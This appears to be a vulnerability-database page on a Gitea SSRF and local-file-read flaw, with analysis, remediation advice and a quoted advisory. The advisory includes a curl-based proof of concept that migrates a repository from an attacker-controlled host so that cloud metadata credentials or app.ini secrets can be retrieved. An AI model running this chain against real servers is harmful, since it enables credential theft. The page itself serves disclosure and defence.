Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker controls malicious Gitea server
-
DeliveryCrafts release assets with internal/file:// URLs
-
ExploitAdmin triggers migration via API
-
ExecutionTarget Gitea fetches URLs via unfiltered http.Get()
-
PersistCloud metadata or local file contents stored as migrated asset
-
ImpactAttacker downloads asset to exfiltrate data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Credential Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Migration path: requires the attacker to possess or obtain an API token with migration permission on the target Gitea instance (admin or org-owner role), AND to operate or control a Gitea-compatible server that serves malicious release asset download URLs or PR patch URLs. The target Gitea instance must have external migration enabled (on by default). OAuth avatar path: requires an administrator to have configured a custom OAuth2 authentication source whose provider is attacker-controlled (e.g., a self-hosted OAuth server), allowing the provider to return an avatar URL pointing to an internal resource. The file:// local read vector is limited to the uri.Open() code path in the migration flow (release assets and PR patches) and reads files accessible to the OS user running the Gitea process. What limits exploitation: the primary barrier is that the migration attack requires admin or org-owner privileges on the target; the OAuth vector requires prior admin configuration of a custom OAuth2 source pointing to an attacker-controlled server. Default-configured Gitea instances with no custom OAuth2 sources and no admin account compromise are not immediately exploitable from an unauthenticated remote position. |
| Impact | The provided CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5) conflicts materially with the vulnerability description: the migration attack path explicitly requires migration permission (admin or org owner), and the OAuth vector requires an admin-configured custom OAuth2 source. A PR:N rating is therefore inconsistent with the stated prerequisites - security teams should treat the published CVSS score with caution and reassess assuming PR:H. Adjusted to PR:H, the base score drops to approximately 4.9. EPSS at 0.16% (6th percentile) corroborates that real-world exploitation is not currently widespread, which aligns with the non-trivial privilege barrier. However, the published PoC is detailed and operational, and the potential payoff - cloud IMDSv1 credentials granting lateral movement to cloud resources, or app.ini leaking the database password and JWT signing secret enabling complete account takeover - is disproportionately high relative to the effort for an insider or compromised admin account. KEV listing is absent, so confirmed active exploitation is not established. Overall: genuine priority for cloud-hosted Gitea instances where admin accounts could be compromised or where insider threat is a concern; lower priority for air-gapped or on-premises deployments without cloud metadata endpoints. |
| Exploit ScenarioDerived | An attacker who holds admin or org-owner privileges on a target Gitea instance (or who socially engineers a legitimate admin) sets up a malicious Gitea server at a domain they control and creates a release with asset download URLs pointing to http://169.254.169.254/latest/meta-data/iam/security-credentials/role or file:///etc/gitea/app.ini. They trigger (or cause the admin to trigger) a repo migration via the API from the malicious server; Gitea's migration process fetches those URLs using unprotected http.Get() or uri.Open(), saves the response bodies as migrated release assets, and the attacker retrieves the cloud credentials or app.ini contents by downloading the migrated release asset from the now-accessible repository. A working PoC demonstrating this chain is published in the GitHub Security Advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – Aug 14, 2026
Server-side request forgery in Gitea ≤1.26.4 allows privileged users to bypass the platform's own hostmatcher SSRF defenses via three unprotected raw http.Get() code paths in the migration and OAuth avatar subsystems, enabling retrieval of cloud instance metadata (AWS IMDSv1, GCP tokens), local file read (e.g., app.ini with database credentials and JWT secrets), and internal network scanning. A detailed proof-of-concept exploit is publicly available in the GitHub Security Advisory GHSA-2wm4-vwp6-v7xc. EPSS is low at 0.16% (6th percentile), consistent with the privilege requirements limiting opportunistic exploitation, but the disclosed PoC and the sensitivity of reachable data elevate real-world risk for cloud-hosted deployments. No active exploitation is confirmed in CISA KEV at time of analysis.
Earlier versions of this analysis (1)
SSRF protection bypass in Gitea versions prior to 1.27.0 allows attackers with admin or org-owner privileges to exfiltrate cloud instance metadata (AWS IMDSv1 credentials, GCP tokens) and read arbitrary local files including the app.ini configuration file containing database credentials, JWT signing secrets, and SMTP passwords. Three distinct code paths in modules/uri/uri.go, services/migrations/dump.go, and routers/web/auth/oauth.go use Go's raw http.DefaultClient instead of the hardened hostmatcher transport that protects webhook and clone operations. A detailed proof-of-concept is published in GHSA-2wm4-vwp6-v7xc; no active exploitation has been confirmed (not in CISA KEV at time of analysis).
RemediationAI
Upgrade Gitea to version 1.27.0 immediately; this is the vendor-released patch confirmed by the GitHub advisory GHSA-2wm4-vwp6-v7xc and the release tag at https://github.com/go-gitea/gitea/releases/tag/v1.27.0. If immediate upgrade is not possible, apply the following specific compensating controls: disable repository migration from external Gitea instances in the admin panel (Site Administration → Repository Migration settings) to eliminate the primary attack surface - note this blocks legitimate cross-instance migrations as a trade-off. Disable or restrict the custom OAuth2 authentication source configuration to remove the oauth.go attack vector, accepting that OAuth2 SSO will be unavailable. For cloud deployments, enforce IMDSv2 (token-required mode) on AWS instances, which requires a PUT pre-request that the raw http.Get() call cannot perform, blocking the 169.254.169.254 metadata path specifically - this does not block internal network scanning or file:// reads. Network egress filtering at the infrastructure layer to block 169.254.169.254/32, RFC-1918 ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), and loopback (127.0.0.0/8) from the Gitea process provides defense-in-depth but does not address the file:// local read vector. Full advisory: https://github.com/go-gitea/gitea/security/advisories/GHSA-2wm4-vwp6-v7xc.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 3 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Gitea (CPE: pkg:go/code.gitea.io/gitea) implements SSRF protection via a custom hostmatcher.NewDialContext() transport that validates resolved IP addresses at the TCP dial layer for webhook and clone operations. CWE-918 (Server-Side Request Forgery) applies: the root cause is inconsistent application of this security control. Three code paths bypass it entirely by invoking Go's http.DefaultClient (raw http.Get()): modules/uri/uri.go:32, which additionally supports the file:// scheme via os.Open() enabling direct local file reads; services/migrations/dump.go lines 312 and 453, which process release asset download URLs and PR patch URLs from externally supplied migration sources; and routers/web/auth/oauth.go:306, which fetches avatar URLs from OAuth2 provider responses without filtering. The contrast with services/migrations/migrate.go:526 - which correctly applies the hostmatcher dialer for clone transport - demonstrates that the protection mechanism exists but was not consistently applied across all outbound HTTP callsites. Because uri.Open() accepts the file:// scheme, an attacker-controlled migration source can supply a file:///etc/gitea/app.ini asset URL that is opened directly from the local filesystem by the Gitea process.
Know when Gitea gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Migration exploitation requires admin/org-owner API token (PR:H); only confidentiality is impacted via file read and SSRF data exfiltration.
Primary rating from Vendor (https://github.com/go-gitea/gitea).
CVSS VectorVendor: https://github.com/go-gitea/gitea
Lifecycle Timeline
2DescriptionCVE.org
Summary
Gitea has robust SSRF protection via hostmatcher.NewDialContext() for webhook and migration clone URLs, which validates resolved IPs at the TCP dial level. However, three code paths use raw http.Get() (Go's DefaultClient) which completely bypasses this protection, enabling SSRF to internal services and local file read via the file:// scheme.
Vulnerable Code
File: modules/uri/uri.go (line 32) -- Core vulnerability
func Open(uriStr string) (io.ReadCloser, error) {
u, err := url.Parse(uriStr)
switch strings.ToLower(u.Scheme) {
case "http", "https":
f, err := http.Get(uriStr) // RAW http.Get -- no hostmatcher filtering
return f.Body, nil
case "file":
return os.Open(u.Path) // LOCAL FILE READ via file:// scheme
}
}Callers in migration path:
services/migrations/gitea_uploader.go:340--uri.Open(*asset.DownloadURL)for release assetsservices/migrations/gitea_uploader.go:586--uri.Open(pr.PatchURL)for PR patches
File: services/migrations/dump.go (lines 312, 453)
// Line 312 -- release asset download
resp, err := http.Get(*asset.DownloadURL)
// Line 453 -- PR patch download (with self-documenting TODO)
resp, err := http.Get(u) // TODO: This probably needs to use the downloaderFile: routers/web/auth/oauth.go (line 306)
func oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) {
resp, err := http.Get(url) // RAW http.Get -- no hostmatcherContrast with protected migration clone (same codebase):
// services/migrations/migrate.go:526 -- PROTECTED with hostmatcher
transport.DialContext = hostmatcher.NewDialContext("migration", allowList, blockList, ...)PoC
# Step 1: Set up attacker Gitea instance with malicious release asset URLs
# Create a repo on evil.gitea.attacker.com with a release asset whose
# download_url points to internal services:
# Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role
# Or: file:///etc/gitea/app.ini (local file read)
# Step 2: Admin triggers migration from attacker's Gitea instance
curl -s -X POST "https://target-gitea.com/api/v1/repos/migrate" \
-H "Authorization: token ADMIN_API_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "https://evil.gitea.attacker.com/user/repo.git",
"repo_name": "migrated-repo",
"repo_owner": "admin",
"service": "gitea"
}'
# Step 3: During migration, Gitea downloads release assets using unfiltered http.Get()
# Cloud metadata is saved as the release asset attachment in the migrated repo
# Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme
# Step 4: Attacker accesses the migrated repo's release assets to retrieve stolen data
curl -s "https://target-gitea.com/admin/migrated-repo/releases/download/v1.0/stolen-metadata.txt"Impact
- Cloud metadata theft:
169.254.169.254reachable via unfilteredhttp.Get()(AWS IMDSv1 credentials, GCP tokens) - Local file read:
file://scheme inuri.Open()reads/etc/gitea/app.ini(database credentials, JWT signing secrets, SMTP passwords) - Internal service scanning: Reach
127.0.0.1,10.x,172.16-31.x,192.168.xnetworks - Bypasses existing SSRF protection: The
hostmatcherdialer is comprehensive but only applied to webhook and clone transports -- these three paths are unprotected - Migration vectors require migration permission (admin/org owner); OAuth vector requires admin-configured custom OAuth2 source
Executive ViewAI
Gitea source control management platform versions 1.26.4 and earlier contain a server-side request forgery vulnerability (CVE-2026-59765) that allows privileged users to extract cloud credentials, authentication tokens, and sensitive infrastructure secrets. While publicly available exploit code exists and no active exploitation has been confirmed, this poses a direct risk to organizations using Gitea in cloud environments, potentially enabling unauthorized access to AWS, GCP, and database systems.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi
Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r
Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp
The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea
Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us
Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any
Path traversal in Gitea's Org-mode (`.org`) markup renderer allows an attacker who can get Org-mode content rendered by
Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec
models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem
Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica
Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allVendor StatusVendor
SUSE
| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-58126
GHSA-2wm4-vwp6-v7xc
NVD
CVE.org
EPSS
Exploit-DB